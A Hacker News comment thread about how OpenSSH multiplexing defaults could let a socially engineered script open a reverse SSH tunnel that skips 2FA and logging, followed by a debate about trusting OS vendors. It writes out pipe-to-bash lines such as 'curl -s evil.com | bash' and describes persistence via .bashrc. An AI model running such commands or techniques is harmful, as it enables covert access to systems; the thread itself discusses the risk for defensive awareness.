Item — HN Reader

The article didn't make mention multiplexing and MaxSessions defaults in OpenSSH. The default is 10 which means you auth once, and all subsequent logins are without auth and without syslog entries. If you manage secure systems and have 2FA, this allows bypassing 2FA and logging.

All I have to do is trick your folks into testing a ruby / python / perl / bash script for me that will drop a key on your machine, fire up ssh using that key and tunnel back to my host. Now I have full control of your secure (banking, government, eCommerce) environment, completely bypassing 2 factor authentication. Just one link to one of your email distros and up to 10% of your folks will run it.

Combine this with sudo credential caching and now I have root on all of your systems without having to bother finding vulns.

Thx to Prandium for the demo of this simple social engineering exploit.

2 comments

> All I have to do is trick your folks into testing a ruby / python / perl / bash script for me that will...

...install a rootkit or botnet client regardless of how you've configured ssh.

What does it have anything to do with ssh at all? The attacker could just as easily set up an outgoing VPN-over-TLS in the same way.

The reason that this involves SSH and is in no way related to the malware example you provided is, this is not malware and will never be detected as such. Very few things can actually block this and most of those things are either too expensive, or disabled by most organizations. Also, this is only getting worse with time. More and companies are opening up their firewalls outbound because it makes developers feel warm and fuzzy. No seriously, people are doing real time integration and builds, calling third party sites like github. I can even put my script on github. If I wanted this to persist, I could update your .bashrc or .bash_profile and start up my tunnel again in the background (as you).

Another reason this involves SSH is that you already have it. I am not installing anything. I am just dropping a key on your machine and (as you) spawning ssh and a reverse tunnel back to a VM I control. No need for root :-) Now I just leverage your existing multiplexed connections into your development and production environments. Your syslog server will not log me connecting, since I am just leveraging your existing channelized SSH session.

This is leveraging a bad configuration that everyone has in SSH by default. In most cases, the attacker can also leverage the commonly poorly configured sudo as well.

If my government would give me legal immunity, I would prove this to you by popping nearly every major company or government office in my country in three weeks or less.

If somebody can get you to run "curl -s evil.com | bash" then you are pwned. They can modify your $PATH and install a key logger and create a reverse shell and upload your ssh private key and forward the reverse connection to anything on your LAN. You have already lost.

Keylogger, perhaps. The multiplexing just makes it trivial to connect to everything with no logging and no authentication. I don't even have to modify the PATH or install a keylogger. I am already several steps beyond that in one move. In other words, no audit trail for the FBI to look into, no need to upload some new application, no need to exploit a vulnerable application (beyond the vulnerability of OpenSSH itself by design).

Perhaps some of the confusion here is that it is assumed ssh keys are in use? In an environment that requires 2FA, keys would not be allowed. People would be using RSA Tokens, Duo, Yubikeys, etc. This method bypassing those things.

It also means, anyone using the defaults in OpenSSH is not PCI compliant.

I am not even sure this method of access to development or production environments is even illegal, as the user is providing access and I am not hacking anything, nor am I using authentication into anything. The door is wide open. If this were a game of chess, I would get check-mate in 1 move.

If this were a game of chess, checkmate is getting arbitrary code to run in the context of the user. If you have an existing ssh process running as the same user then you can attach it with a debugger and inject code into it.

"More and companies are opening up their firewalls outbound because it makes developers feel warm and fuzzy." - this is the actual issue, and should fail you in the audit: precisely because it is a major vulnerability which can be abused in 10^128 different ways.

Running around screaming "OMG OMG, the tool designed to tunnel over the network can be used to tunnel over the network, TEH SKY IS FALLING!!1!!!" is even somewhat funny in this context.

I don't recall even remotely suggesting the sky is falling. If nobody fixes this, it doesn't affect me. I have Multiplexing disabled everywhere that I care about.

The constant news of companies getting popped is actually quite entertaining. The only thing folks may be concerned about is that if too many companies get popped, there may be some heavy handed legislation that starts to affect people. Even that I am perfectly fine with.

ahem "It also means, anyone using the defaults in OpenSSH is not PCI compliant."

"I am just dropping a key on your machine" - from my point of view, it does not matter whether you're dropping an executable, an SSH key, or Aunt Matilda: you already have the user executing arbitrary code (your distinction between "here, pipe this code into bash, it will execute" and "here, pipe this code into bash, it will save itself to disk and then execute" is pure handwaving).

(you are likewise assuming there are multiplexed connections, which is a great leap - these are off by default)

What you have demonstrated is the simplest possible botnet technique, using SSH as the transport and social engineering as the vector; for some reason, you consider it groundbreaking. Well, it would have been - in 2000.

This didn't exist in 2000. It was created and made default on the server in OpenSSH 5. OpenSSH 5 did not make it into enterprise distros for quite some time.

There are literally tens of thousands of articles telling folks to enable ControlMaster (Multiplexing) on the client to "make ssh faster". You would be hard pressed to find a devops shop that isn't already using ControlMaster in their ssh client config. There are at least a handful of government and financial sites that set MaxSessions to 1 because they understand the risk.

This specific mechanism didn't exist in 2000; the behavior is no different from the ILOVEYOU virus: user runs code, code does something malicious, code contacts cracker.

It all boils down to "if you require security, you can't have a default-open environment"; blaming a specific tool seems ... strange.

Strange as it may be, this virus will never be detected as a virus. That is why I am blaming the default settings in the tool.

so... your point is "don't run untrusted code"?

You would think that is common sense, right? :-) I so wish more people thought like you.

Get permission from your privacy and legal team before you do this of course. Write a small script in whatever language you like. Encode a ... gosh, don't even get that fancy. Just email them something silly from an external email address like:

    curl -s https://tinyvpn.org/ | bash

Listen for how many mac users around you in your company suddenly start saying, "How do I stop this??" That one is meant for people that don't lock their computers, but the same applies.

"Don't run untrusted code" has been a basic common sense for people since the dawn of the internet, but that doesn't mean you can follow it 100% of the time. It's good to be aware of potential attack vectors, and not just sweep them under the rug of "don't be an idiot".

You run untrusted code whenever your browser loads a web page that uses javascript. With more and more of the web requiring javascript to work, running untrusted code becomes less and less a real option if you want to get any work done.

Arguably, plain HTML is also untrusted code, and I certainly don't trust every single one of the authors of my operating system and all of the os-level utilities and all the applications that I use, especially not Microsoft or Apple. But I'm forced to use them for work.

A year or two ago there was some hoopla about Canonical collecting some information about Ubuntu's users or something like that (don't remember exactly) and a lot of people were up in arms about how they don't trust Canonical. Canonical's reply was one of the most insightful I've ever read on the internet. They said something like, "um... but we've got root".

That's a great point. The makers of your OS, the builders of your apps, they have a lot of power over you that you grant them simply by using their stuff. You're effectively trusting them, even if you don't trust them.

You could react by not using anything that anyone you don't trust writes, or by thoroughly auditing all the source code of everything you use (you do use only open-source software which can be audited by you directly, right?). But this is not really practical for 99% of everyone on the planet.

> They said something like, "um... but we've got root".

Which is incredibly misleading.

Sure, they could put malicious code in their distribution. It could do whatever they want. And then it would be on your machine, where you can potentially discover it and publish what you've discovered and allow others to verify your discovery. Which could cause Canonical to not have root anymore, because people would immediately switch to Debian or CentOS or something else.

But if they send data from your machine to their servers, no one has any ability to determine what they do with it from there, how well they secure it, who they give or sell it to, etc. It's a completely different situation because it goes from trust-but-verify to blind trust.

How many Ubuntu users actually verify everything Canonical sends them? I'd say very close to none, especially for the binaries.

Sure, in principle you could verify. You could read through all the source, you could even disassemble the binaries and read through the assembly (and don't forget to verify the hardware too). Again, who actually does that? Virtually no one.

So the two cases are a lot closer than you paint them to be.

Also, corporations do stupid, illegal, and unethical stuff all the time, even when it's clearly (especially in hindsight) not in their long-term interest to do so. Even when it will clearly destroy their reputation if the public found out they even considered it.

Even if you trust "the system" (which is more of a hope that if there's something malicious, someone out there will detect it sooner or later), there are many cases of vulnerabilities in even open source code going undetected for years... nevermind vulnerabilities in binaries that you don't have code for and who the authors of aren't generous enough to clue you in on.

Canonical (or whatever source you actually get your OS or apps from) could also send you some specially crafted something that no one else gets. Now who's going to verify it for you if you don't do it yourself? How are you ever going to find out, if you're not one of the ultra-paranoid and super-skilled 0.001% of Ubuntu users with infinite time and determination who actually verifies 100% of what Canonical sends them? You just won't. And if you did, there'd be a hundred new Ubuntu versions out by the time you finished verifying even one of them.

People trust, but they very rarely verify. The size of operating systems and applications and the skill to verify have all just grown too large to make it practical for the overwhelming majority of people.

I do see your point about Canonical doing whatever they want with the data they collect. That's certainly problematic. But that doesn't mean that there aren't major privacy or security issues with trusting Ubuntu (or any other OS) not to have malware on it.

> Virtually no one.

Which is not the same thing as no one. And it only takes once to ruin your reputation forever (see also Sourceforge, Lenovo, etc.) Moreover, the probability of detection doesn't have to be very high at all because the cost to Canonical would be catastrophic, so any possibility whatsoever acts as a deterrent. And more so in this context because of the nature of the user base.

Your argument seems to boil down to the position that it doesn't hurt anything to go from detection not perfect to detection not possible.